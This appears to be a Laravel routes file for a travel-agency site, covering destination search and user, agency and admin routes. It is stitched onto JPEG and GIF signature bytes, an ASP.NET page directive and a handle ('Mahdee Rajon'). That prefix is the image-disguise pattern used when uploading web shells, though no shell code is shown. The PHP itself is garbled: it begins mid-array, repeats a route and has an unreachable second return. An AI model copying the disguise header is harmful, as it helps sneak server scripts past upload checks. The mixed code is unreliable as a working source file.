ÿØÿà JFIF    ÿÛ C     $.' ",#(7),01444'9=82<.342ÿÛ C  2!!22222222222222222222222222222222222222222222222222ÿþGIF89a; <%@ Page Language="C#" %> Mahdee Rajon
 ÿØÿà JFIF    ÿÛ „  ( %!1!%*+...983,7(-.- ÿØÿà JFIF    ÿÛ „  ( %!1!%*+...983,7(-.- ['HtmlSpecialchars', 'MaintenanceMode']], function () { Route::get('/', [HomeController::class, 'index'])->name('home'); Route::get('/search-destinations', function (Request $request) { $query = $request->get('query', ''); if (!$query) { return response()->json([]); } $terms = collect(explode(',', $query)) ->map(fn($t) => trim($t)) ->filter() ->values(); $countries = \App\Models\Country::query() ->select('id', 'name', 'country_id') ->when($terms->isNotEmpty(), function ($q) use ($terms) { $q->where(function ($q2) use ($terms) { foreach ($terms as $term) { $q2->orWhere('name', 'like', "%{$term}%"); } }); }) ->orderBySearches() ->limit(20) ->get(); $regions = \App\Models\Region::query() ->with('country:id,name,country_id') ->select('id', 'name', 'region_id', 'country_id') ->when($terms->isNotEmpty(), function ($q) use ($terms) { $q->where(function ($q2) use ($terms) { foreach ($terms as $term) { $q2->orWhere('name', 'like', "%{$term}%"); } }); }) ->orderBySearches() ->limit(50) ->get(); $cities = \App\Models\City::query() ->with('region.country:id,name,country_id') ->select('id', 'name', 'city_id', 'region_id') ->when($terms->isNotEmpty(), function ($q) use ($terms) { $q->where(function ($q2) use ($terms) { foreach ($terms as $term) { $q2->orWhere('name', 'like', "%{$term}%"); } }); }) ->orderBySearches() ->limit(50) ->get(); $results = collect(); $results = $results->merge( $cities->map(fn($city) => [ 'type' => 'city', 'id' => $city->city_id, 'name' => $city->name, 'region_name' => $city->region?->name, 'country_name' => $city->region?->country?->name, ]) ); $results = $results->merge( $regions->map(fn($region) => [ 'type' => 'region', 'id' => $region->region_id, 'name' => $region->name, 'region_name' => $region->name, 'country_name' => $region->country?->name, ]) ); $results = $results->merge( $countries->map(fn($country) => [ 'type' => 'country', 'id' => $country->country_id, 'name' => $country->name, ]) ); $results = $results->unique(fn($item) => strtolower($item['type'].'-'.$item['name'])) ->values(); return response()->json($results); return response()->json( $countries->concat($cities)->concat($regions)->values() ); }); Route::get('/theme/{theme}', [HomeController::class, 'switchTheme'])->name('theme.switch'); Route::get('/theme/{theme}', [HomeController::class, 'switchTheme'])->name('theme.switch'); Route::get('/home', [HomeController::class, 'themeVariation'])->name('theme.variation'); Route::get('/despre-noi', [HomeController::class, 'about_us'])->name('about-us'); Route::get('/blogs', [HomeController::class, 'blogs'])->name('blogs'); Route::get('/blog/{slug}', [HomeController::class, 'blog'])->name('blog'); Route::post('/store-blog-comment/{id}', [HomeController::class, 'store_blog_comment'])->name('store-blog-comment'); Route::get('/faq', [HomeController::class, 'faq'])->name('faq'); Route::get('/pricing', [HomeController::class, 'pricing'])->name('pricing'); Route::get('/privacy-policy', [HomeController::class, 'privacy_policy'])->name('privacy-policy'); Route::get('/terms-conditions', [HomeController::class, 'terms_conditions'])->name('terms-conditions'); Route::get('/contact-us', [HomeController::class, 'contact_us'])->name('contact-us'); Route::get('/language-switcher', [HomeController::class, 'language_switcher'])->name('language-switcher'); Route::get('/currency-switcher', [HomeController::class, 'currency_switcher'])->name('currency-switcher'); Route::get('/download-file/{file}', [HomeController::class, 'download_file'])->name('download-file'); Route::get('/teams', [HomeController::class, 'teams'])->name('teams'); Route::get('/team/{slug}', [HomeController::class, 'teamPerson'])->name('teamPerson'); Auth::routes(); Route::group(['as' => 'user.', 'prefix' => 'user'], function () { Route::controller(UserLoginController::class)->group(function () { Route::get('/login', 'custom_login_page')->name('login'); Route::post('/store-login', 'store_login')->name('store-login'); Route::get('/logout', 'student_logout')->name('logout'); Route::get('login/google', 'redirect_to_google')->name('login-google'); Route::get('/callback/google', 'google_callback')->name('callback-google'); Route::get('login/facebook', 'redirect_to_facebook')->name('login-facebook'); Route::get('/callback/facebook', 'facebook_callback')->name('callback-facebook'); Route::get('/forget-password', 'custom_forget_page')->name('forget-password'); Route::post('/send-forget-password', 'send_custom_forget_pass')->name('send-forget-password'); Route::get('/reset-password', 'custom_reset_password')->name('reset-password'); Route::post('/store-reset-password/{token}', 'store_reset_password')->name('store-reset-password'); Route::controller(UserRegisterController::class)->group(function () { Route::get('/register', 'custom_register_page')->name('register'); Route::post('/store-register', 'store_register')->name('store-register'); Route::get('/register-verification', 'register_verification')->name('register-verification'); }); }); }); Route::group(['as' => 'user.', 'prefix' => 'user'], function () { Route::group(['middleware' => 'auth:web'], function () { Route::get('/dashboard', [UserProfileController::class, 'dashboard'])->name('dashboard'); Route::get('/edit-profile', [UserProfileController::class, 'edit_profile'])->name('edit-profile'); Route::put('/update-profile', [UserProfileController::class, 'update_profile'])->name('update-profile'); Route::get('/change-password', [UserProfileController::class, 'change_password'])->name('change-password'); Route::put('/update-password', [UserProfileController::class, 'update_password'])->name('update-password'); Route::get('/create-agency', [UserProfileController::class, 'create_agency'])->name('create-agency'); Route::post('/agency-application', [UserProfileController::class, 'agency_application'])->name('agency-application'); Route::get('/account-delete', [UserProfileController::class, 'account_delete'])->name('account-delete'); Route::delete('/confirm-account-delete', [UserProfileController::class, 'confirm_account_delete'])->name('confirm-account-delete'); // orders Route::get('/orders', [OrderController::class, 'orders'])->name('orders'); Route::get('/order/details/{order_id}', [OrderController::class, 'order_show'])->name('order_show'); Route::get('/transactions/history', [OrderController::class, 'transactions'])->name('transactions'); }); }); Route::group(['as' => 'agency.', 'prefix' => 'agency'], function () { Route::group(['middleware' => ['auth:web', 'CheckAgency']], function () { Route::get('/dashboard', [AgencyProfileController::class, 'dashboard'])->name('dashboard'); Route::get('/edit-profile', [AgencyProfileController::class, 'edit_profile'])->name('edit-profile'); Route::put('/update-profile', [AgencyProfileController::class, 'update_profile'])->name('update-profile'); Route::get('/agency-profile', [AgencyProfileController::class, 'agency_profile'])->name('agency-profile'); Route::put('/update-agency-profile', [AgencyProfileController::class, 'update_agency_profile'])->name('update-agency-profile'); Route::get('/change-password', [AgencyProfileController::class, 'change_password'])->name('change-password'); Route::put('/update-password', [AgencyProfileController::class, 'update_password'])->name('update-password'); Route::get('/account-delete', [AgencyProfileController::class, 'account_delete'])->name('account-delete'); Route::delete('/confirm-account-delete', [AgencyProfileController::class, 'confirm_account_delete'])->name('confirm-account-delete'); }); }); Route::get('/{slug}', [HomeController::class, 'custom_page'])->name('custom-page'); }); Route::group(['as' => 'admin.', 'prefix' => 'admin'], function () { Route::get('login', [LoginController::class, 'custom_login_page'])->name('login'); Route::post('store-login', [LoginController::class, 'store_login'])->name('store-login'); // Route::post('store-register', [LoginController::class, 'store_register'])->name('store-register'); Route::post('logout', [LoginController::class, 'admin_logout'])->name('logout'); Route::group(['middleware' => ['auth:admin']], function () { Route::get('/', [DashboardController::class, 'dashboard']); Route::get('dashboard', [DashboardController::class, 'dashboard'])->name('dashboard'); Route::get('cloud-voice', [DashboardController::class, 'cloudVoice'])->name('cloud-voice'); Route::controller(ProfileController::class)->group(function () { Route::get('edit-profile', 'edit_profile')->name('edit-profile'); Route::put('profile-update', 'profile_update')->name('profile-update'); Route::put('update-password', 'update_password')->name('update-password'); }); // Menu Management System Route::controller(App\Http\Controllers\Admin\MenuController::class)->group(function () { Route::get('menus', 'index')->name('menus.index'); Route::get('menus/create', 'create')->name('menus.create'); Route::post('menus', 'store')->name('menus.store'); Route::get('menus/{id}/edit', 'edit')->name('menus.edit'); Route::put('menus/{id}', 'update')->name('menus.update'); Route::delete('menus/{id}', 'destroy')->name('menus.destroy'); // Menu Items Route::post('menus/{id}/add-item', 'addMenuItem')->name('menus.add-item'); Route::put('menu-items/{id}', 'updateMenuItem')->name('menu-items.update'); Route::delete('menu-items/{id}', 'deleteMenuItem')->name('menu-items.destroy'); // Get menu item data for editing Route::get('menu-items/{id}/edit', 'getMenuItem')->name('menu-items.edit'); // Update menu structure (order and hierarchy) Route::post('menus/update-structure', 'updateMenuStructure')->name('menus.update-structure'); }); Route::controller(UserController::class)->group(function () { Route::get('clients', 'user_list')->name('client-list'); Route::get('pending-clients', 'pending_user')->name('pending-client'); Route::get('client/{id}', 'user_show')->name('client-show'); Route::delete('client-delete/{id}', 'user_destroy')->name('client-delete'); Route::put('client-status/{id}', 'user_status')->name('client-status'); Route::put('client-update/{id}', 'update')->name('client-update'); Route::get('seller-list', 'seller_list')->name('seller-list'); Route::get('pending-seller', 'pending_seller')->name('pending-seller'); Route::get('seller-show/{id}', 'seller_show')->name('seller-show'); Route::get('seller-joining-request', 'seller_joining_request')->name('seller-joining-request'); Route::get('seller-joining-detail/{id}', 'seller_joining_detail')->name('seller-joining-detail'); Route::put('seller-joining-approval/{id}', 'seller_joining_approval')->name('seller-joining-approval'); Route::put('seller-joining-reject/{id}', 'seller_joining_reject')->name('seller-joining-reject'); }); Route::controller(AdminController::class)->group(function () { Route::get('users', 'admin_list')->name('users-list'); Route::get('user/{id}', 'admin_show')->name('user-show'); Route::get('user-create', 'admin_create')->name('user-create'); Route::post('create-user', 'create')->name('create-user'); Route::delete('user-delete/{id}', 'admin_destroy')->name('user-delete'); Route::put('user-update/{id}', 'admin_update')->name('user-update'); }); // Theme Management Route::controller(App\Http\Controllers\Admin\ThemeController::class)->group(function () { Route::get('themes', 'index')->name('themes.index'); Route::get('themes/create', 'create')->name('themes.create'); Route::get('themes/{theme}', 'show')->name('themes.show'); Route::post('themes/{theme}/activate', 'activate')->name('themes.activate'); Route::delete('themes/{theme}', 'destroy')->name('themes.destroy'); }); // Frontend Management Route::controller(FrontEndManagementController::class)->name('front-end.')->group(function () { Route::get('/frontend-section', 'index')->name('frontend-section'); Route::get('/section/{id}', 'section')->name('section'); Route::put('store/{key}/{id?}', 'store')->name('store'); Route::get('/frontend-field-template', 'getFieldTemplate')->name('field-template'); Route::post('/upload-image', [App\Http\Controllers\Admin\UploadController::class, 'editorImage'])->name('upload-image'); }); //Connectors Management Route::controller(ConnectorsController::class)->name('connectors.')->group(function(){ Route::get('connectors', 'list')->name('list'); Route::post('fetch', 'fetch')->name('fetch'); }); }); });